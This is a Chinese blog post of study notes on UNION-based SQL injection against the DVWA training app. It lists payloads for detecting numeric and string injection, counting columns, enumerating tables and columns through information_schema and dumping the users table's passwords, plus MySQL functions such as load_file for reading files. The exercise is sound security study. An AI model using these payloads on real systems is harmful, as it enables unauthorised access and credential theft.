Always keep a be|

Xxiaomaa

园龄:3个月粉丝:0关注:0

DVWA SQL注入union

数字型注入

1 and 1=1
1 and 1=2
返回数据不一样则有注入点且为数字型注入

//判断列数
?id=and 1 order by 6 //返回正确
?id=and 1 order by 7 //返回错误
得到列数为6
查数据库:1 and 1=2 union select 1,database()

字符型注入

'and 1=1 and'1'='1
'and 1=2 and'1'='1
?id=and 1 order by 6# //返回正确
?id=and 1 order by 7# //返回错误
得到列数为6

查数据库:0' union select 1,database()#

查表名:-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

查字段名:0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

	group_concat(column_name) 可替换为  unhex(Hex(cast(column_name+as+char)))column_name  

查数据:0' union select 1,group_concat(password) from users #

group_concat 可替换为 concat_ws(',',id,users,password )

查数据:0' union select 1,password from users limit 0,1# //只查一行


version():查询数据库的版本
user():查询数据库的使用者
database():数据库
system_user():系统用户名
session_user():连接数据库的用户名
current_user:当前用户名
load_file:读取本地文件
@@datadir:读取数据库路径
@@basedir:mysql安装路径
@@version_complie_os:查看操作系统

本文作者:Xxiaomaa

本文链接:https://www.cnblogs.com/mhwq/p/18542801

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Xxiaomaa  阅读(11)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起